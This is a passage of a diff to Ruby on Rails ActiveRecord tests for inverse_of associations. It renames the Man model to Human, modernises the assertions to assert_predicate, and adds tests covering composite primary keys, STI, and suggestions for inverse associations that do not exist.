+    car_review_reflection = Cpk::Car.reflect_on_association(:car_reviews)
+
+    assert_predicate car_review_reflection, :has_inverse?
+    assert_equal Cpk::CarReview.reflect_on_association(:car), car_review_reflection.inverse_of
+  end
 
-    assert_respond_to face_reflection, :has_inverse?
-    assert face_reflection.has_inverse?, "For this test, the non-polymorphic association must have an inverse"
+  def test_belongs_to_inverse_of_derived_automatically_despite_of_composite_foreign_key
+    car_reflection = Cpk::CarReview.reflect_on_association(:car)
 
-    assert_respond_to man_reflection, :has_inverse?
-    assert !man_reflection.has_inverse?, "The target of a polymorphic association should not find an inverse automatically"
+    assert_predicate car_reflection, :has_inverse?
+    assert_equal Cpk::Car.reflect_on_association(:car_reviews), car_reflection.inverse_of
   end
 end
 
@@ -144,51 +259,34 @@ def test_should_allow_for_inverse_of_options_in_associations
   end
 
   def test_should_be_able_to_ask_a_reflection_if_it_has_an_inverse
-    has_one_with_inverse_ref = Man.reflect_on_association(:face)
-    assert_respond_to has_one_with_inverse_ref, :has_inverse?
-    assert has_one_with_inverse_ref.has_inverse?
+    has_one_with_inverse_ref = Human.reflect_on_association(:face)
+    assert_predicate has_one_with_inverse_ref, :has_inverse?
 
-    has_many_with_inverse_ref = Man.reflect_on_association(:interests)
-    assert_respond_to has_many_with_inverse_ref, :has_inverse?
-    assert has_many_with_inverse_ref.has_inverse?
+    has_many_with_inverse_ref = Human.reflect_on_association(:interests)
+    assert_predicate has_many_with_inverse_ref, :has_inverse?
 
-    belongs_to_with_inverse_ref = Face.reflect_on_association(:man)
-    assert_respond_to belongs_to_with_inverse_ref, :has_inverse?
-    assert belongs_to_with_inverse_ref.has_inverse?
+    belongs_to_with_inverse_ref = Face.reflect_on_association(:human)
+    assert_predicate belongs_to_with_inverse_ref, :has_inverse?
 
     has_one_without_inverse_ref = Club.reflect_on_association(:sponsor)
-    assert_respond_to has_one_without_inverse_ref, :has_inverse?
-    assert !has_one_without_inverse_ref.has_inverse?
+    assert_not_predicate has_one_without_inverse_ref, :has_inverse?
 
     has_many_without_inverse_ref = Club.reflect_on_association(:memberships)
-    assert_respond_to has_many_without_inverse_ref, :has_inverse?
-    assert !has_many_without_inverse_ref.has_inverse?
+    assert_not_predicate has_many_without_inverse_ref, :has_inverse?
 
     belongs_to_without_inverse_ref = Sponsor.reflect_on_association(:sponsor_club)
-    assert_respond_to belongs_to_without_inverse_ref, :has_inverse?
-    assert !belongs_to_without_inverse_ref.has_inverse?
-  end
-
-  def test_should_be_able_to_ask_a_reflection_what_it_is_the_inverse_of
-    has_one_ref = Man.reflect_on_association(:face)
-    assert_respond_to has_one_ref, :inverse_of
-
-    has_many_ref = Man.reflect_on_association(:interests)
-    assert_respond_to has_many_ref, :inverse_of
-
-    belongs_to_ref = Face.reflect_on_association(:man)
-    assert_respond_to belongs_to_ref, :inverse_of
+    assert_not_predicate belongs_to_without_inverse_ref, :has_inverse?
   end
 
   def test_inverse_of_method_should_supply_the_actual_reflection_instance_it_is_the_inverse_of
-    has_one_ref = Man.reflect_on_association(:face)
-    assert_equal Face.reflect_on_association(:man), has_one_ref.inverse_of
+    has_one_ref = Human.reflect_on_association(:face)
+    assert_equal Face.reflect_on_association(:human), has_one_ref.inverse_of
 
-    has_many_ref = Man.reflect_on_association(:interests)
-    assert_equal Interest.reflect_on_association(:man), has_many_ref.inverse_of
+    has_many_ref = Human.reflect_on_association(:interests)
+    assert_equal Interest.reflect_on_association(:human), has_many_ref.inverse_of
 
-    belongs_to_ref = Face.reflect_on_association(:man)
-    assert_equal Man.reflect_on_association(:face), belongs_to_ref.inverse_of
+    belongs_to_ref = Face.reflect_on_association(:human)
+    assert_equal Human.reflect_on_association(:face), belongs_to_ref.inverse_of
   end
 
   def test_associations_with_no_inverse_of_should_return_nil
@@ -202,260 +300,339 @@ def test_associations_with_no_inverse_of_should_return_nil
     assert_nil belongs_to_ref.inverse_of
   end
 
+  def test_polymorphic_associations_dont_attempt_to_find_inverse_of
+    belongs_to_ref = Sponsor.reflect_on_association(:sponsor)
+    assert_raise(ArgumentError) { belongs_to_ref.klass }
+    assert_nil belongs_to_ref.inverse_of
+
+    belongs_to_ref = Face.reflect_on_association(:super_human)
+    assert_raise(ArgumentError) { belongs_to_ref.klass }
+    assert_nil belongs_to_ref.inverse_of
+  end
+
   def test_this_inverse_stuff
     firm = Firm.create!(name: "Adequate Holdings")
     Project.create!(name: "Project 1", firm: firm)
     Developer.create!(name: "Gorbypuff", firm: firm)
 
     new_project = Project.last
-    assert Project.reflect_on_association(:lead_developer).inverse_of.present?, "Expected inverse of to be present"
-    assert new_project.lead_developer.present?, "Expected lead developer to be present on the project"
+    assert_predicate Project.reflect_on_association(:lead_developer).inverse_of, :present?, "Expected inverse of to be present"
+    assert_predicate new_project.lead_developer, :present?, "Expected lead developer to be present on the project"
   end
 end
 
 class InverseHasOneTests < ActiveRecord::TestCase
-  fixtures :men, :faces
+  fixtures :humans, :faces
 
   def test_parent_instance_should_be_shared_with_child_on_find
-    m = men(:gordon)
-    f = m.face
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = "Mungo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
+    human = humans(:gordon)
+    face = human.face
+    assert_equal human.name, face.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to parent instance"
+    face.human.name = "Mungo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_with_eager_loaded_child_on_find
-    m = Man.all.merge!(where: { name: "Gordon" }, includes: :face).first
-    f = m.face
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = "Mungo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
-
-    m = Man.all.merge!(where: { name: "Gordon" }, includes: :face, order: "faces.id").first
-    f = m.face
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = "Mungo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
+    human = Human.all.merge!(where: { name: "Gordon" }, includes: :face).first
+    face = human.face
+    assert_equal human.name, face.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to parent instance"
+    face.human.name = "Mungo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to child-owned instance"
+
+    human = Human.all.merge!(where: { name: "Gordon" }, includes: :face, order: "faces.id").first
+    face = human.face
+    assert_equal human.name, face.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to parent instance"
+    face.human.name = "Mungo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_with_newly_built_child
-    m = Man.first
-    f = m.build_face(description: "haunted")
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = "Mungo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
+    human = Human.first
+    face = human.build_face(description: "haunted")
+    assert_not_nil face.human
+    assert_equal human.name, face.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to parent instance"
+    face.human.name = "Mungo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to just-built-child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_with_newly_created_child
-    m = Man.first
-    f = m.create_face(description: "haunted")
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = "Mungo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+    human = Human.first
+    face = human.create_face(description: "haunted")
+    assert_not_nil face.human
+    assert_equal human.name, face.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to parent instance"
+    face.human.name = "Mungo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to newly-created-child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_with_newly_created_child_via_bang_method
-    m = Man.first
-    f = m.create_face!(description: "haunted")
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = "Mungo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+    human = Human.first
+    face = human.create_face!(description: "haunted")
+    assert_not_nil face.human
+    assert_equal human.name, face.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to parent instance"
+    face.human.name = "Mungo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to newly-created-child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_with_replaced_via_accessor_child
-    m = Man.first
-    f = Face.new(description: "haunted")
-    m.face = f
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = "Mungo"
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
+    human = Human.first
+    face = Face.new(description: "haunted")
+    human.face = face
+    assert_not_nil face.human
+    assert_equal human.name, face.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to parent instance"
+    face.human.name = "Mungo"
+    assert_equal human.name, face.human.name, "Name of human should be the same after changes to replaced-child-owned instance"
+  end
+
+  def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
+    human = Human.first
+    face = Face.create!(description: "haunted", human: Human.last)
+    face.human = human
+    assert_equal face, human.face
+    assert_equal face.description, human.face.description, "Description of the face should be the same before changes to child instance"
+    face.description = "Bongo"
+    assert_equal face.description, human.face.description, "Description of the face should be the same after changes to child instance"
+    human.face.description = "Mungo"
+    assert_equal face.description, human.face.description, "Description of the face should be the same after changes to replaced-parent-owned instance"
   end
 
   def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.dirty_face }
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Human.first.confused_face }
+  end
+
+  def test_trying_to_use_inverses_that_dont_exist_should_have_suggestions_for_fix
+    error = assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) {
+      Human.first.confused_face
+    }
+
+    assert_match "Did you mean?", error.detailed_message
+    assert_equal "confused_human", error.corrections.first
   end
 end
 
 class InverseHasManyTests < ActiveRecord::TestCase
-  fixtures :men, :interests
+  fixtures :humans, :interests, :posts, :authors, :author_addresses, :comments
 
   def test_parent_instance_should_be_shared_with_every_child_on_find
-    m = men(:gordon)
-    is = m.interests
-    is.each do |i|
-      assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-      m.name = "Bongo"
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-      i.man.name = "Mungo"
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
+    human = humans(:gordon)
+    interests = human.interests
+    interests.each do |interest|
+      assert_equal human.name, interest.human.name, "Name of human should be the same before changes to parent instance"
+      human.name = "Bongo"
+      assert_equal human.name, interest.human.name, "Name of human should be the same after changes to parent instance"
+      interest.human.name = "Mungo"
+      assert_equal human.name, interest.human.name, "Name of human should be the same after changes to child-owned instance"
+    end
+  end
+
+  def test_parent_instance_should_be_shared_with_every_child_on_find_for_sti
+    author = authors(:david)
+    posts = author.posts
+    posts.each do |post|
+      assert_equal author.name, post.author.name, "Name of human should be the same before changes to parent instance"
+      author.name = "Bongo"
+      assert_equal author.name, post.author.name, "Name of human should be the same after changes to parent instance"
+      post.author.name = "Mungo"
+      assert_equal author.name, post.author.name, "Name of human should be the same after changes to child-owned instance"
+    end
+
+    special_posts = author.special_posts
+    special_posts.each do |post|
+      assert_equal author.name, post.author.name, "Name of human should be the same before changes to parent instance"
+      author.name = "Bongo"
+      assert_equal author.name, post.author.name, "Name of human should be the same after changes to parent instance"
+      post.author.name = "Mungo"
+      assert_equal author.name, post.author.name, "Name of human should be the same after changes to child-owned instance"
     end
   end
 
   def test_parent_instance_should_be_shared_with_eager_loaded_children
-    m = Man.all.merge!(where: { name: "Gordon" }, includes: :interests).first
-    is = m.interests
-    is.each do |i|
-      assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-      m.name = "Bongo"
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-      i.man.name = "Mungo"
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
+    human = Human.all.merge!(where: { name: "Gordon" }, includes: :interests).first
+    interests = human.interests
+    interests.each do |interest|
+      assert_equal human.name, interest.human.name, "Name of human should be the same before changes to parent instance"
+      human.name = "Bongo"
+      assert_equal human.name, interest.human.name, "Name of human should be the same after changes to parent instance"
+      interest.human.name = "Mungo"
+      assert_equal human.name, interest.human.name, "Name of human should be the same after changes to child-owned instance"
     end
 
-    m = Man.all.merge!(where: { name: "Gordon" }, includes: :interests, order: "interests.id").first
-    is = m.interests
-    is.each do |i|
-      assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-      m.name = "Bongo"
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-      i.man.name = "Mungo"
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
+    human = Human.all.merge!(where: { name: "Gordon" }, includes: :interests, order: "interests.id").first
+    interests = human.interests
+    interests.each do |interest|
+      assert_equal human.name, interest.human.name, "Name of human should be the same before changes to parent instance"
+      human.name = "Bongo"
+      assert_equal human.name, interest.human.name, "Name of human should be the same after changes to parent instance"
+      interest.human.name = "Mungo"
+      assert_equal human.name, interest.human.name, "Name of human should be the same after changes to child-owned instance"
     end
   end
 
   def test_parent_instance_should_be_shared_with_newly_block_style_built_child
-    m = Man.first
-    i = m.interests.build { |ii| ii.topic = "Industrial Revolution Re-enactment" }
-    assert_not_nil i.topic, "Child attributes supplied to build via blocks should be populated"
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = "Mungo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
+    human = Human.first
+    interest = human.interests.build { |ii| ii.topic = "Industrial Revolution Re-enactment" }
+    assert_not_nil interest.topic, "Child attributes supplied to build via blocks should be populated"
+    assert_not_nil interest.human
+    assert_equal human.name, interest.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to parent instance"
+    interest.human.name = "Mungo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to just-built-child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_with_newly_created_via_bang_method_child
-    m = Man.first
-    i = m.interests.create!(topic: "Industrial Revolution Re-enactment")
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = "Mungo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+    human = Human.first
+    interest = human.interests.create!(topic: "Industrial Revolution Re-enactment")
+    assert_not_nil interest.human
+    assert_equal human.name, interest.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to parent instance"
+    interest.human.name = "Mungo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to newly-created-child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_with_newly_block_style_created_child
-    m = Man.first
-    i = m.interests.create { |ii| ii.topic = "Industrial Revolution Re-enactment" }
-    assert_not_nil i.topic, "Child attributes supplied to create via blocks should be populated"
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = "Mungo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+    human = Human.first
+    interest = human.interests.create { |ii| ii.topic = "Industrial Revolution Re-enactment" }
+    assert_not_nil interest.topic, "Child attributes supplied to create via blocks should be populated"
+    assert_not_nil interest.human
+    assert_equal human.name, interest.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to parent instance"
+    interest.human.name = "Mungo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to newly-created-child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_within_create_block_of_new_child
-    man = Man.first
-    interest = man.interests.create do |i|
-      assert i.man.equal?(man), "Man of child should be the same instance as a parent"
+    human = Human.first
+    interest = human.interests.create do |i|
+      assert i.human.equal?(human), "Human of child should be the same instance as a parent"
     end
-    assert interest.man.equal?(man), "Man of the child should still be the same instance as a parent"
+    assert interest.human.equal?(human), "Human of the child should still be the same instance as a parent"
   end
 
   def test_parent_instance_should_be_shared_within_build_block_of_new_child
-    man = Man.first
-    interest = man.interests.build do |i|
-      assert i.man.equal?(man), "Man of child should be the same instance as a parent"
+    human = Human.first
+    interest = human.interests.build do |i|
+      assert i.human.equal?(human), "Human of child should be the same instance as a parent"
     end
-    assert interest.man.equal?(man), "Man of the child should still be the same instance as a parent"
+    assert interest.human.equal?(human), "Human of the child should still be the same instance as a parent"
   end
 
   def test_parent_instance_should_be_shared_with_poked_in_child
-    m = men(:gordon)
-    i = Interest.create(topic: "Industrial Revolution Re-enactment")
-    m.interests << i
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = "Mungo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+    human = humans(:gordon)
+    interest = Interest.create(topic: "Industrial Revolution Re-enactment")
+    human.interests << interest
+    assert_not_nil interest.human
+    assert_equal human.name, interest.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to parent instance"
+    interest.human.name = "Mungo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to newly-created-child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_with_replaced_via_accessor_children
-    m = Man.first
-    i = Interest.new(topic: "Industrial Revolution Re-enactment")
-    m.interests = [i]
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = "Bongo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = "Mungo"
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
+    human = Human.first
+    interest = Interest.new(topic: "Industrial Revolution Re-enactment")
+    human.interests = [interest]
+    assert_not_nil interest.human
+    assert_equal human.name, interest.human.name, "Name of human should be the same before changes to parent instance"
+    human.name = "Bongo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to parent instance"
+    interest.human.name = "Mungo"
+    assert_equal human.name, interest.human.name, "Name of human should be the same after changes to replaced-child-owned instance"
   end
 
   def test_parent_instance_should_be_shared_with_first_and_last_child
-    man = Man.first
+    human = Human.first
 
-    assert man.interests.first.man.equal? man
-    assert man.interests.last.man.equal? man
+    assert human.interests.first.human.equal? human
+    assert human.interests.last.human.equal? human
   end
 
   def test_parent_instance_should_be_shared_with_first_n_and_last_n_children
-    man = Man.first
+    human = Human.first
 
-    interests = man.interests.first(2)
-    assert interests[0].man.equal? man
-    assert interests[1].man.equal? man
+    interests = human.interests.first(2)
+    assert interests[0].human.equal? human
+    assert interests[1].human.equal? human
 
-    interests = man.interests.last(2)
-    assert interests[0].man.equal? man
-    assert interests[1].man.equal? man
+    interests = human.interests.last(2)
+    assert interests[0].human.equal? human
+    assert interests[1].human.equal? human
   end
 
   def test_parent_instance_should_find_child_instance_using_child_instance_id
-    man = Man.create!
+    human = Human.create!
     interest = Interest.create!
-    man.interests = [interest]
+    human.interests = [interest]
 
-    assert interest.equal?(man.interests.first), "The inverse association should use the interest already created and held in memory"
-    assert interest.equal?(man.interests.find(interest.id)), "The inverse association should use the interest already created and held in memory"
-    assert man.equal?(man.interests.first.man), "Two inversion should lead back to the same object that was originally held"
-    assert man.equal?(man.interests.find(interest.id).man), "Two inversions should lead back to the same object that was originally held"
+    assert interest.equal?(human.interests.first), "The inverse association should use the interest already created and held in memory"
+    assert interest.equal?(human.interests.find(interest.id)), "The inverse association should use the interest already created and held in memory"
+    assert human.equal?(human.interests.first.human), "Two inversion should lead back to the same object that was originally held"
+    assert human.equal?(human.interests.find(interest.id).human), "Two inversions should lead back to the same object that was originally held"
   end
 
   def test_parent_instance_should_find_child_instance_using_child_instance_id_when_created
-    man = Man.create!
-    interest = Interest.create!(man: man)
+    human = Human.create!
+    interest = Interest.create!(human: human)
 
-    assert man.equal?(man.interests.first.man), "Two inverses should lead back to the same object that was originally held"
-    assert man.equal?(man.interests.find(interest.id).man), "Two inversions should lead back to the same object that was originally held"
+    assert human.equal?(human.interests.first.human), "Two inverses should lead back to the same object that was originally held"
+    assert human.equal?(human.interests.find(interest.id).human), "Two inversions should lead back to the same object that was originally held"
 
-    assert_nil man.interests.find(interest.id).man.name, "The name of the man should match before the name is changed"
-    man.name = "Ben Bitdiddle"
-    assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match after the parent name is changed"
-    man.interests.find(interest.id).man.name = "Alyssa P. Hacker"
-    assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match after the child name is changed"
+    assert_nil human.interests.find(interest.id).human.name, "The name of the human should match before the name is changed"
+    human.name = "Ben Bitdiddle"
+    assert_equal human.name, human.interests.find(interest.id).human.name, "The name of the human should match after the parent name is changed"
+    human.interests.find(interest.id).human.name = "Alyssa P. Hacker"
+    assert_equal human.name, human.interests.find(interest.id).human.name, "The name of the human should match after the child name is changed"
   end
 
   def test_find_on_child_instance_with_id_should_not_load_all_child_records
-    man = Man.create!
-    interest = Interest.create!(man: man)
+    human = Human.create!
+    interest = Interest.create!(human: human)
+
+    human.interests.find(interest.id)
+    assert_not_predicate human.interests, :loaded?
+  end
+
+  def test_find_on_child_instance_with_id_should_set_inverse_instances
+    human = Human.create!
+    interest = Interest.create!(human: human)
+
+    child = human.interests.find(interest.id)
+    assert_predicate child.association(:human), :loaded?
+  end
+
+  def test_find_on_child_instances_with_ids_should_set_inverse_instances
+    human = Human.create!
+    interests = Array.new(2) { Interest.create!(human: human) }
 
-    man.interests.find(interest.id)
-    assert_not man.interests.loaded?
+    children = human.interests.find(interests.pluck(:id))
+    children.each do |child|
+      assert_predicate child.association(:human), :loaded?
+    end
+  end
+
+  def test_inverse_should_be_set_on_composite_primary_key_child
+    author = Cpk::Author.new(name: "John")
+    book = author.books.build(id: [nil, 1], title: "The Rails Way")
+    Cpk::Order.new(book: book, status: "paid")
+    author.save!
+
+    assert_predicate book.association(:order), :loaded?
   end
 
   def test_raise_record_not_found_error_when_invalid_ids_are_passed
@@ -463,270 +640,439 @@ def test_raise_record_not_found_error_when_invalid_ids_are_passed
     # are indeed invalid.
     Interest.delete_all
 
-    man = Man.create!
+    human = Human.create!
 
     invalid_id = 245324523
-    assert_raise(ActiveRecord::RecordNotFound) { man.interests.find(invalid_id) }
+    assert_raise(ActiveRecord::RecordNotFound) { human.interests.find(invalid_id) }
 
     invalid_ids = [8432342, 2390102913, 2453245234523452]
-    assert_raise(ActiveRecord::RecordNotFound) { man.interests.find(invalid_ids) }
+    assert_raise(ActiveRecord::RecordNotFound) { human.interests.find(invalid_ids) }
   end
 
   def test_raise_record_not_found_error_when_no_ids_are_passed
-    man = Man.create!
+    human = Human.create!
+
+    exception = assert_raise(ActiveRecord::RecordNotFound) { human.interests.load.find() }
 
-    assert_raise(ActiveRecord::RecordNotFound) { man.interests.find() }
+    assert_equal "Interest", exception.model
+    assert_equal "id", exception.primary_key
   end
 
   def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.secret_interests }
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Human.first.secret_interests }
   end
 
   def test_child_instance_should_point_to_parent_without_saving
-    man = Man.new
-    i = Interest.create(topic: "Industrial Revolution Re-enactment")
+    human = Human.new
+    interest = Interest.create(topic: "Industrial Revolution Re-enactment")
 
-    man.interests << i
-    assert_not_nil i.man
+    human.interests << interest
+    assert_not_nil interest.human
 
-    i.man.name = "Charles"
-    assert_equal i.man.name, man.name
+    interest.human.name = "Charles"
+    assert_equal interest.human.name, human.name
 
-    assert !man.persisted?
+    assert_not_predicate human, :persisted?
   end
 
   def test_inverse_instance_should_be_set_before_find_callbacks_are_run
     reset_callbacks(Interest, :find) do
-      Interest.after_find { raise unless association(:man).loaded? && man.present? }
+      Interest.after_find { raise unless association(:human).loaded? && human.present? }
 
-      assert Man.first.interests.reload.any?
-      assert Man.includes(:interests).first.interests.any?
-      assert Man.joins(:interests).includes(:interests).first.interests.any?
+      assert_predicate Human.first.interests.reload, :any?
+      assert_predicate Human.includes(:interests).first.interests, :any?
+      assert_predicate Human.joins(:interests).includes(:interests).first.interests, :any?
     end
   end
 
   def test_inverse_instance_should_be_set_before_initialize_callbacks_are_run
     reset_callbacks(Interest, :initialize) do
-      Interest.after_initialize { raise unless association(:man).loaded? && man.present? }
+      Interest.after_initialize { raise unless association(:human).loaded? && human.present? }
 
-      assert Man.first.interests.reload.any?
-      assert Man.includes(:interests).first.interests.any?
-      assert Man.joins(:interests).includes(:interests).first.interests.any?
+      assert_predicate Human.first.interests.reload, :any?
+      assert_predicate Human.includes(:interests).first.interests, :any?
+      assert_predicate Human.joins(:interests).includes(:interests).first.interests, :any?
     end
   end
 
-  def reset_callbacks(target, type)
-    old_callbacks = target.send(:get_callbacks, type).deep_dup
-    yield
-  ensure
-    target.send(:set_callbacks, type, old_callbacks) if old_callbacks
+  def test_inverse_works_when_the_association_self_references_the_same_object
+    comment = comments(:greetings)
+    Comment.create!(parent: comment, post_id: comment.post_id, body: "New Comment")
+
+    comment.body = "OMG"
+    assert_equal comment.body, comment.children.first.parent.body
+  end
+
+  def test_changing_the_association_id_makes_the_inversed_association_target_stale
+    post1 = Post.first
+    post2 = Post.second
+    comment = post1.comments.first
+
+    assert_same post1, comment.post
+
+    comment.update!(post_id: post2.id)
+
+    assert_equal post2, comment.post
   end
 end
 
 class InverseBelongsToTests < ActiveRecord::TestCase
-  fixtures :men, :faces, :interests
+  fixtures :humans, :faces, :interests
 
   def test_child_instance_should_be_shared_with_parent_on_find
-    f = faces(:trusting)
-    m = f.man
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = "gormless"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = "pleasing"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
+    face = faces(:trusting)
+    human = face.human
+    assert_equal face.description, human.face.description, "Description of face should be the same before changes to child instance"
+    face.description = "gormless"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to child instance"
+    human.face.description = "pleasing"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to parent-owned instance"
   end
 
   def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
-    f = Face.all.merge!(includes: :man, where: { description: "trusting" }).first
-    m = f.man
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = "gormless"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = "pleasing"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
-
-    f = Face.all.merge!(includes: :man, order: "men.id", where: { description: "trusting" }).first
-    m = f.man
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = "gormless"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = "pleasing"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
+    face = Face.all.merge!(includes: :human, where: { description: "trusting" }).first
+    human = face.human
+    assert_equal face.description, human.face.description, "Description of face should be the same before changes to child instance"
+    face.description = "gormless"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to child instance"
+    human.face.description = "pleasing"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to parent-owned instance"
+
+    face = Face.all.merge!(includes: :human, order: "humans.id", where: { description: "trusting" }).first
+    human = face.human
+    assert_equal face.description, human.face.description, "Description of face should be the same before changes to child instance"
